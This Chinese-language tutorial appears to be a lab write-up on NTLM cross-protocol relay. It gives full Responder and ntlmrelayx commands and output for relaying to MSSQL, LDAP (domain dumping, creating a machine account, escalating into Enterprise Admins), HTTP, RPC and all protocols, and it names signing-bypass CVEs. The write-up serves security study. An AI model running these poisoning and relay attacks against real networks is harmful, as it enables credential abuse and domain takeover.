NTLM Cross-protocol Relay
因为NTLM嵌入式协议的特性,所以NTLM嵌入各种协议中,自然我们也可以可以中继来自各种协议的 NTLM 身份验证,包括通过 LDAP 、 SMB 、 HTTP 、 MSSQL 、 IMAP 、 RPC 或其他任何能够传输 NTLM 身份验证消息的应用协议的 SMB 和 HTTP
在NTLM中继的攻击中,我们会同时充当服务器和客户端,所以我们有必要先了解服务器和客户端的情况下可以中继什么协议
充当客户端时:(此时可以中继各种协议),如:
作为服务器(只能中继有限的协议):
- HTTP(S)
- SMBv/1/2/3
- WCF (Windows Communication Foundation)
- RAW (该服务器与协议无关,旨在直接接收来自第三方中继应用程序——尤其是lsarelayx——的原始 NTLM 消息)
1. cross-protocol relay
由于 NTLM 安全协议都属于嵌入式协议,我们可以从一种应用协议中提取 NTLM 身份验证消息,并将其嵌入到另一种协议中,这种技术被称为跨协议中继(cross-protocol relaying)。下图展示了通过 LDAP 中继 HTTP NTLM 身份验证的过程,这是跨协议中继的一种类型:
| 中继身份验证来源 (Server) | 中继身份验证目标 (Client) | 是否为跨协议? |
|---|---|---|
| HTTP(S) | HTTP(S) | 否 |
| HTTP(S) | IMAP, LDAP(S), MSSQL, RPC, SMBv1/2/3, SMTP | 是 |
| SMBv1/2/3 | SMBv1/2/3 | 否 |
| SMBv1/2/3 | HTTP(S), IMAP, LDAP(S), MSSQL, RPC, SMTP | 是 |
| WCF (Windows Communication Foundation) | HTTP(S), IMAP, LDAP(S), MSSQL, RPC, SMBv1/2/3, SMTP | 是 |
也可以看这个
2. NTLM Relay over MSSQL
2.1. 环境
172.16.117.60(MSSQL)
场景: 用户输入错误的UNC,导致通过LLMNR或者NBT-NS发送了广播消息,攻击者通过Responder毒化响应并将身份验证重定向到我们的机器,通过ntlmrelayx中继到MSSQL SERVER
使用的工具:
- ntlmrelayx 将请求中继到目标。
- impacket-mssqlclient 与 SQL 数据库交互
- Responder 毒化任何用户请求并将其重定向到我们在 172.16.117.30 的攻击主机。
2.2. 执行攻击
2.2.1. 运行跨协议的ntlmrelayx
ntlmrelayx.py -t mssql://172.16.117.60 -smb2support -socks
- mssql://172.16.117.60 (指定mssql,而非默认的SMB)
- -socks:开启socks代理
- 需要root权限
这里也可以使用
named target的格式:scheme://DOMAIN\USER@TARGETIP
2.2.2. 运行Responder
这里已经将 SMB 设置为Off
python3 Responder.py -I ens192
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
<SNIP>
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [On]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [OFF]
Kerberos server [ON]
SQL server [On]
<SNIP>
[+] Listening for events...
然后等待中继
ntlmrelayx.py -t mssql://172.16.117.60 -smb2support -socks
Impacket v0.11.0 - Copyright 2023 Fortra
<SNIP>
ntlmrelayx>
[*] SMBD-Thread-10: Received connection from 172.16.117.3, attacking target mssql://172.16.117.60
[*] Authenticating against mssql://172.16.117.60 as INLANEFREIGHT/NPORTS SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/NPORTS@172.16.117.60(1433) to active SOCKS connection. Enjoy
自中继防护 :
如果你从一台机器(假设为 A 机器)截获了身份验证流量,你不能把这段流量再中继回 A 机器本身
因为windows已经修复了这种NTLM self-relay攻击的利用。
在这个例子中,
NPORTS也会从172.16.117.60发起身份验证,这可能会导致ntlmrelayx停止接收来自其他 IP 的新请求。我们可以通过以下几种方式来避免这种情况:
- 使用
--no-http-server选项关闭 HTTP 服务器,以阻止来自NPORTS的 HTTP 连接;- 修改
Responder.conf配置文件,使其不响应来自172.16.117.60的请求;- 或者使用
-tf选项(指定目标文件)代替单一目标,从而启用多重中继(multi-relay)功能
2.2.3. mssqlclient连接
然后通过 proxychains 启动impacket-mssqlclient ,以 INLANEFREIGHT\NPORTS 身份连接到 172.16.117.60 上的 MSSQL
-windows-auth:强制使用 Windows 身份验证而非默认的 SQL 身份验证-no-pass:不输入密码,直接使用ntlmrelayx socks提供的有效会话
proxychains -q mssqlclient.py INLANEFREIGHT/nports@172.16.117.60 -windows-auth -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (INLANEFREIGHT\nports dbo@master)>
SQL (INLANEFREIGHT\nports dbo@master)> enum_db
name is_trustworthy_on
------------- -----------------
master 0
tempdb 0
model 0
msdb 1
development01 0
2.2.4. ntlmrelayx执行sql查询
也可以使用 -q 选项执行 MSSQL 查询
ntlmrelayx.py -t mssql://INLANEFREIGHT\\NPORTS@172.16.117.60 -smb2support -q "SELECT name FROM sys.databases;"
Impacket v0.11.0 - Copyright 2023 Fortra
<SNIP>
[*] Servers started, waiting for connections
[*] SMBD-Thread-5: Received connection from 172.16.117.3, attacking target mssql://172.16.117.60
[*] Authenticating against mssql://172.16.117.60 as INLANEFREIGHT/NPORTS SUCCEED
[*] Executing SQL: SELECT name FROM sys.databases;
name
-------------
master
tempdb
model
msdb
development01
3. NTLM Relay over LDAP
Lightweight Directory Access Protocol ( LDAP )是一种广泛使用的协议,用于访问和管理分布式目录信息服务
有关其的具体信息请看LDAP 概述
如果我们可以中继LDAP协议的NTLM认证,我们通常可以执行一下的攻击:
- 枚举
- 创建机器账户
- 滥用ACLs进行提权
3.1. 利用LDAP中继进行域枚举
当我们使用 ldap://的方案时,ntlmrelayx会默认尝试转储域信息、添加域管理员、并配置不当的ACLs/DACL
我们可以使用一些参数来禁用这些默认行为
--no-da:禁用添加域管理员--no-acl:不配置ACLs--lootdir/-l: 指定一个目录,用于存放转储的LDAP域信息
3.1.1. 开启responder毒化
python3 Responder/Responder.py -I ens192
3.1.2. ntlmrelayx开启中继
ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --lootdir ldap_dump
等待一会后,我们收到了 一个错误:The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)
这因为默认情况下,域控始终会要求会话签名。 当我们尝试在 DC 上通过 LDAP 中继 SMB NTLM 身份验证时,由于 DC 会要求客户端执行会话签名,攻击将会失败
3.1.3. bypass 会话签名
然而,我们也了解到存在一些可以绕过会话签名要求的漏洞利用方法,具体包括:
- Drop the MIC (CVE-2019-1040)
- Drop the MIC2 (CVE-2019-1166)
- Your Session Key is my Session Key(CVE-2019-1019)
ntlmrelayx 提供了 --remove-mic 和 -remove-target 选项,分别用于针对易受 CVE-2019-1040 和 CVE-2019-1019 攻击的中继目标
python3 scan.py inlanefreight/plaintext$:'o6@ekk5/#rlw2rAe'@172.16.117.3
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target 172.16.117.3 is not vulnerable to CVE-2019-1040 (authentication was rejected)
尽管如此,如果我们保持 ntlmrelayx(以及 Responder)持续运行,最终将会接收到 HTTP NTLM 身份验证。HTTP NTLM 身份验证可以被中继到 LDAP 协议上,因为 HTTP 协议本身不支持会话签名
因此域控制器不会也无法要求进行签名。ntlmrelayx 将在 DC 上通过 LDAP 中继该 HTTP NTLM 身份验证并转储域信息,将其保存在名为 ldap_dump 的目录中。
ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --lootdir ldap_dump
<SNIP>
[*] HTTPD(80): Connection from 172.16.117.60 controlled, attacking target ldap://172.16.117.3
[*] HTTPD(80): Authenticating against ldap://172.16.117.3 as INLANEFREIGHT/PETER SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Dumping domain info for first time
[*] Domain info dumped into lootdir!
ls ldap_dump/
domain_computers_by_os.html domain_computers.html domain_groups.grep domain_groups.json domain_policy.html domain_trusts.grep domain_trusts.json domain_users.grep domain_users.json
domain_computers.grep domain_computers.json domain_groups.html domain_policy.grep domain_policy.json domain_trusts.html domain_users_by_group.html domain_users.html
3.2. 利用LDAP中继创建计算机账户
在AD中,计算机/机器账户是一种类似于域用户账户的对象,但具有额外属性(比如SPN)。计算机账户允许查询域并执行操作,类似于用户账户
如果我们想要创建计算机账户需要ms-DS-MachineAccountQuota 的值>=1
ntlmrelayx提供了--add-computer参数可以用来创建计算机
ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --add-computer 'plaintext$'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
<SNIP>
[*] Servers started, waiting for connections
[*] HTTPD(80): Connection from 172.16.117.60 controlled, attacking target ldap://172.16.117.3
[*] HTTPD(80): Authenticating against ldap://172.16.117.3 as INLANEFREIGHT/PETER SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Adding a machine account to the domain requires TLS, but ldap:// scheme provided. Switching target to LDAPS via StartTLS[*] Attempting to create computer in: CN=Computers,DC=INLANEFREIGHT,DC=LOCAL
[*] Adding new computer with username: plaintext$ and password: o6@ekK5#rlw2rAe result: OK- 你也可以自己设置密码:格式
--add-computer 'NAME' 'PASSWORD'
注意看输出,会发现其将ldap://转换为了ldaps://,因为添加机器账户需要 LDAPS ,ntlmrelayx在这个pr之后才开始支持ldaps://的bypass技术。其引入了 StartTLS 机制绕过了 LDAP Channel Binding ;博客文章《使用 StartTLS 绕过 LDAP 通道绑定》详细描述了这种绕过技术
3.3. 利用ntlmrelayx滥用ACL进行提权
如果我们转发的会话是一个高权限的会话,那么我们以使用 ntlmrelayx 的 --escalate-user 选项来为指定的计算机或者用户配置错误的 ACLs/DACLs 进行权限提升攻击
ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --escalate-user 'plaintext$' --no-dump -debug
Impacket v0.11.0 - Copyright 2023 Fortra
<SNIP>
[*] Servers started, waiting for connections
[*] HTTPD(80): Connection from 172.16.117.60 controlled, attacking target ldap://172.16.117.3
[*] HTTPD(80): Authenticating against ldap://172.16.117.3 as INLANEFREIGHT/NPORTS SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[+] User is a member of: [DN: CN=SQL Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL - STATUS: Read - READ TIME: 2023-07-24T20:23:28.703082
name: SQL Admins
objectSid: S-1-5-21-1207890233-375443991-2397730614-1153
]
[+] User is a member of: [DN: CN=Domain Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL - STATUS: Read - READ TIME: 2023-07-24T20:23:28.706705
distinguishedName: CN=Domain Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name: Domain Users
objectSid: S-1-5-21-1207890233-375443991-2397730614-513
]
[+] Permission found: Full Control on CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL; Reason: GENERIC_ALL via CN=SQL Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL[*] User privileges found: Adding user to a privileged group (Enterprise Admins)[+] Performing Group attack
[*] Adding user: plaintext to group Enterprise Admins result: OK[*] Privilege escalation successful, shutting down...
NPORTS是SQL Admins组的成员,有Enterprise Admins的full Control- 然后将账户
plaintext$添加到了高权限的Enterprise Group组
4. NTLM Relay over HTTP
HTTP中继攻击也是一种常见的NTLM Relay利用场景,值得注意的是:HTTP的后中继攻击可以授予对受限 Web 端点的访问权限,允许我们以已认证用户的身份执行各种操作,常见的攻击利用如:
4.1. NTLM over HTTP Protocol
NTLM over HTTP Protocol(MS-NTHT / NTHT)规定了 NTLM 身份验证如何通过 HTTP 进行。
假设一个 Web 客户端使用 GET 谓词/方法,向URL https://academy.hackthebox.com/protected/unlimitedCubes.php 请求一个受访问保护的端点。Web 客户端首次尝试访问该资源时,将发送一个不带 Authorization头部的 GET 请求:
GET protected/unlimitedCubes.php
Web 服务器通过返回 401 (Unauthorized) 响应状态来响应请求,并通过发送值为 NTLM 的 WWW-Authenticate 响应头部,要求使用 NTLM 质询/身份验证(Challenge/Authentication)来访问此资源:
HTTP/1.1 401 Unauthorized
WWW-Authenticate: NTLM
得知网络服务器请求 NTLM 认证后,网络客户端通过 NTLMSSP安全包获取本地用户凭据,随后向网络服务器发起新的 GET 请求。该请求的 Authorization 头部包含一个采用 base64 编码的 NTLM NEGOTIATE_MESSAGE:
GET protected/unlimitedCubes.php
Authorization: NTLM tESsBmE/yNY3lb6a0Ls8Ks19wQX1Lf36vVQEZNqwQn0s8Unew
收到来自 Web 客户端的响应时,Web 服务器会解码 Authorization 头部中包含的 Base64 编码的 NTLM 数据,并将其传递给其 MS-NLMP 实现。如果服务器接受此身份验证数据,则会返回 401 (Unauthorized) 状态码,并在 WWW-Authenticate 头部中携带包含 NTLM CHALLENGE_MESSAGE 的 NTLM 数据:
HTTP/1.1 401 Unauthorized
WWW-Authenticate: NTLM yNY3lb6a0L6vVxOp3MxIQEZNqwQn0s8UNew33KdZvs1Onv
随后,Web 客户端解码 WWW-Authenticate 头部中包含的 Base64 编码的 NTLM 数据,并将其传递给其 MS-NLMP 实现。如果此身份验证数据有效,客户端将通过重新发出 GET 请求进行响应,其 Authorization 头部包含一个 NTLM AUTHENTICATE_MESSAGE
GET protected/unlimitedCubes.php
Authorization: NTLM kGaXHz6/owHcWRlvGFk8ReUa1O7dNmQL2dZKHo=QEZNqwQn0s8U
最后,Web 服务器解码 Authorization 头部中的 Base64 编码数据并传递给 MS-NLMP。如果接受该数据,服务器将返回 Successful 2xx 成功代码以及请求的内容。如果所使用的 Web 客户端(如浏览器)不支持 NTLM 身份验证方案,我们可以使用 Proxy-Ez 代理,它可以处理所有 HTTP 身份验证方案。此外,我们可以利用 ADFSRelay 仓库中的 NTLMParse 工具来解码 Base64 编码的 NTLM 消息。
请务必记住,重放 HTTP NTLM 身份验证比 SMB NTLM 身份验证更强大,因为 HTTP 不支持会话签名(因此重放目标无法要求强制签名),而 SMB 支持。
5. NTLM Relay over RPC
The Open Group 在 1997 年发布了 DCE 1.1: 远程过程调用 (DCE: RPC)(也称为 C706),它是分布式计算环境 (DCE) 及其远程过程调用 (RPC) 机制的技术规范。C706 全面定义了 RPC 服务、接口、协议、编码规则和接口定义语言 (IDL)。
DCE RPC 的核心是 RPC(通信)协议,它允许程序或进程像在本地一样在远程服务器上执行功能。在 RPC 中,客户端通过网络向另一个系统上的服务器发起过程调用。客户端向服务器传输请求,指定要执行的过程并提供必要的数据。服务器收到请求后,使用提供的数据执行该过程,并发送包含结果的响应。IDL 提供了一种与语言无关的方式来描述接口和数据结构,从而促进代码生成并确保分布式计算环境中客户端和服务器组件之间的有效通信。著名的 RPC 实现包括 DCE RPC、gRPC、Java RMI、CORBA 和 DCOM。C706 标准提供 HTML 和 PDF 格式供阅读。
Microsoft 对 DCE RPC 的实现定义在远程过程调用协议扩展 (MS-RPCE/RPCE) 中。MS-RPCE 是 C706 规范的一组扩展;它增加了新的功能,允许更安全的实现,并且有时会对 DCE RPC 施加额外的限制。NTLM 身份验证是 MS-RPCE 支持的各种安全提供程序之
| 名称 | 值 | 安全提供程序 |
|---|---|---|
| RPC_C_AUTHN_NONE | 0x00 | 无身份验证 |
| RPC_C_AUTHN_GSS_NEGOTIATE | 0x09 | SPNEGO |
| RPC_C_AUTHN_WINNT | 0x0A | NTLM |
| RPC_C_AUTHN_GSS_SCHANNEL | 0x0E | TLS |
| RPC_C_AUTHN_GSS_KERBEROS | 0x10 | Kerberos |
| RPC_C_AUTHN_NETLOGON | 0x44 | Netlogon |
| RPC_C_AUTHN_DEFAULT | 0xFF | 与 RPC_C_AUTHN_WINNT 相同 |
客户端和服务器可以为 RPC 调用设置身份验证级别,即表示 RPC 将应用于特定消息交换的身份验证或消息保护水平的数值;在七个身份验证级别中,如果我们遇到一个接受 RPC_C_AUTHN_LEVEL_CONNECT 接口的重放目标,我们或许能够在其上重放 NTLM 身份验证并建立经过身份验证的会话(有关身份验证级别的更多信息,请参阅身份验证级别常量
可用于 NTLM 中继的 RPC 协议非常有限,典型的有 MS-TSCH(计划任务)和 MS-ICPR(证书申请)。
例如,利用 ntlmrelayx 向 TSCH 协议中继 NTLM 认证,可以直接**获取 Microsoft Exchange 服务器的远程命令执行权限
6. NTLM Relay over All Protocols
ntlmrelayx支持all://通配符来匹配所有的协议
但注意:使用此方法的时候,请把Responder的所有服务都设置为off
sed -i '4,18s/= On/= Off/g' Responder.conf
[+] Servers:
HTTP server [OFF]
HTTPS server [OFF]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [OFF]
Kerberos server [OFF]
然后使用 -socks 选项运行 ntlmrelayx
ntlmrelayx.py -tf relayTargets.txt -smb2support -socks
Impacket v0.11.0 - Copyright 2023 Fortra
<SNIP>
[*] Running in relay mode to hosts in targetfile
[*] SOCKS proxy started. Listening at port 1080
[*] SMB Socks Plugin loaded..
[*] IMAPS Socks Plugin loaded..
[*] HTTPS Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] IMAP Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
* Debug mode: off
<SNIP>
[*] SMBD-Thread-39: Connection from INLANEFREIGHT/JPEREZ@172.16.117.3 controlled, attacking target http://172.16.117.50
[*] SMBD-Thread-40: Connection from INLANEFREIGHT/RMONTY@172.16.117.3 controlled, attacking target smtp://172.16.117.50
[*] SMBD-Thread-41: Connection from INLANEFREIGHT/JPEREZ@172.16.117.3 controlled, attacking target smb://172.16.117.50
[*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/JPEREZ SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/JPEREZ@172.16.117.50(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-41: Connection from INLANEFREIGHT/JPEREZ@172.16.117.3 controlled, attacking target rpc://172.16.117.50
<SNIP>
stopservers
[*] Shutting down HTTP Server
[*] Shutting down SMB Server
[*] Shutting down RAW Server
[*] Shutting down WCF Server
[*] Relay servers stopped
然后会发现建立了特别多的会话
ntlmrelayx> socks
Protocol Target Username AdminStatus Port
-------- ------------- -------------------- ----------- ----
SMB 172.16.117.50 INLANEFREIGHT/JPEREZ FALSE 445
SMB 172.16.117.50 INLANEFREIGHT/NPORTS FALSE 445
SMB 172.16.117.50 INLANEFREIGHT/RMONTY FALSE 445
SMB 172.16.117.50 INLANEFREIGHT/PETER TRUE 445
HTTPS 172.16.117.50 INLANEFREIGHT/RMONTY N/A 1433
SMB 172.16.117.60 INLANEFREIGHT/RMONTY FALSE 445
SMB 172.16.117.60 INLANEFREIGHT/NPORTS FALSE 445
SMB 172.16.117.60 INLANEFREIGHT/JPEREZ FALSE 445
SMB 172.16.117.60 INLANEFREIGHT/PETER FALSE 445
MSSQL 172.16.117.60 INLANEFREIGHT/RMONTY N/A 1433
MSSQL 172.16.117.60 INLANEFREIGHT/NPORTS N/A 1433
MSSQL 172.16.117.60 INLANEFREIGHT/JPEREZ N/A 1433
MSSQL 172.16.117.60 INLANEFREIGHT/PETER N/A 1433

